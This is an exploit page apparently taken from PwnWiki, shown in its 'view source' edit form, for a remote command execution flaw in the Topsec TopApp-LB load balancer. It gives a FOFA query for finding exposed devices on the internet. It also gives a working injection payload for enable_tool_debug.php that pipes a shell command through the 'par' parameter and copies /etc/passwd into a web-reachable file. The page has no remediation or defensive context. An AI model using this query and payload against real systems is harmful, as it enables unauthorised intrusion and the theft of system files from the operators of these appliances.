View source for 天融信負載均衡TopApp-LB enable tool debug.php 遠程命令執行漏洞/zh-cn

From PwnWiki

← 天融信負載均衡TopApp-LB enable tool debug.php 遠程命令執行漏洞/zh-cn

You do not have permission to edit this page, for the following reasons:

The action you have requested is limited to users in the group: Users.
This page cannot be updated manually. This page is a translation of the page 天融信負載均衡TopApp-LB enable tool debug.php 遠程命令執行漏洞 and the translation can be updated using the translation tool.
You must confirm your email address before editing pages. Please set and validate your email address through your user preferences.

You can view and copy the source of this page.

<languages />

==FOFA==
<pre>
app="天融信-TopApp-LB-负载均衡系统"
</pre>

==Payload==
设置var=0，tool=1，再进行命令拼接造成远程命令执行:
<pre>
/acc/tools/enable_tool_debug.php?val=0&tool=1&par=127.0.0.1' | cat /etc/passwd > ../../test.txt |'
</pre>

Return to 天融信負載均衡TopApp-LB enable tool debug.php 遠程命令執行漏洞/zh-cn.

Retrieved from "https://pwnwiki.com/index.php?title=天融信負載均衡TopApp-LB_enable_tool_debug.php_遠程命令執行漏洞/zh-cn"